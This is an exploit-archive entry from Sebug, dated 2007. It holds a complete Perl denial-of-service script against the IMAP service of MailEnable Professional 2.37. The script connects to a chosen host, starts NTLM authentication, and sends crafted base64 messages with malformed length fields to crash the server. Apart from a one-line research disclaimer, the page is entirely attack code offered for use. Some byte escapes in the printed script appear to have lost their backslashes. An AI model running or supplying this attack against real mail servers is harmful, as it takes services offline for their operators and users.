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MailEnable Professional/Enterprise <= 2.37 Denial of Service Exploit

SEBUG-ID:6243
SEBUG-Appdir:MailEnable
Published:2007-02-22
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
#!/usr/bin/perl
#
# maildisable-v7.pl
#
# Mail Enable Professional/Enterprise v2.32-7 (win32)
# by mu-b - Wed Feb 14 2007
#
# - Tested on: Mail Enable Professional v2.37 (win32)
#
########

use Getopt::Std; getopts(\'t:\', \\%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{\'t\'})) { $target = $arg{\'t\'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = \'A\';

if (connect_host($target, $imapd_port)) {
    print(\"-> * Connected
\");
    send(SOCKET, \"1 AUTHENTICATE NTLM
\", 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           \"xfaxffxffxff\".
           ($PAD x 12);
    send(SOCKET, encode_base64($buf).\"
\", 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           \"x00x01\".
           ($PAD x 2).
           \"xffxffxffx7f\";
    send(SOCKET, encode_base64($buf).\"
\", 0);
    sleep($send_delay);

    print(\"-> * Successfully sent payload!
\");
}

sub print_header {
    print(\"MailEnable Pro v2.37 DoS POC
\");
    print(\"by: 

\");
}

sub usage {
    print(qq(Usage: $0 -t 

     -t     : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die(\"Error: $!
\");
    $paddr  = sockaddr_in($port, $iaddr)         || die(\"Error: $!
\");
    $proto  = getprotobyname(\'tcp\')              || die(\"Error: $!
\");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(\"Error: $!
\");
    connect(SOCKET, $paddr)                      || die(\"Error: $!
\");
    return(1338);
}

 
// sebug.net [2007-02-22]